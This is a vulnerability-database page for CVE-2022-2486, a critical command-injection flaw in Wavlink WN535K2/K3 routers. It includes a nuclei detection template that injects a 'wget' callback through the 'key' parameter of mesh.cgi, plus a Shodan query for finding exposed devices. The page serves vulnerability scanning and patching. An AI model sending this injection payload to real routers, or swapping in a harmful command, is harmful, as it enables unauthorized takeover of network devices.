HexBrain

Browse / CVEs / CVE-2022-2486

CVE-2022-2486· wavlink / wl-wn535k2· CWE-78

Wavlink WN535K2/WN535K3 - OS Command Injection

criticalseverity
9.8CVSS score
30.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade via manipulation of the argument key. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://{{interactsh-url}};%27
Positive when: contains in interactsh_protocol "http" AND status 500

Run it with nuclei: nuclei -id CVE-2022-2486 -u <target>

The full check
id: CVE-2022-2486

info:
  name: Wavlink WN535K2/WN535K3 - OS Command Injection
  author: For3stCo1d
  severity: critical
  description: |
    Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade via manipulation of the argument key. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20mesh.cgi.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2486
    - https://vuldb.com/?id.204537
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2486
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2486
    cwe-id: CWE-78
    epss-score: 0.30194
    epss-percentile: 0.98234
    cpe: cpe:2.3:h:wavlink:wl-wn535k2:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn535k2
    shodan-query: http.title:"Wi-Fi APP Login"
  tags: cve2022,cve,iot,wavlink,router,rce,oast,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://{{interactsh-url}};%27 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from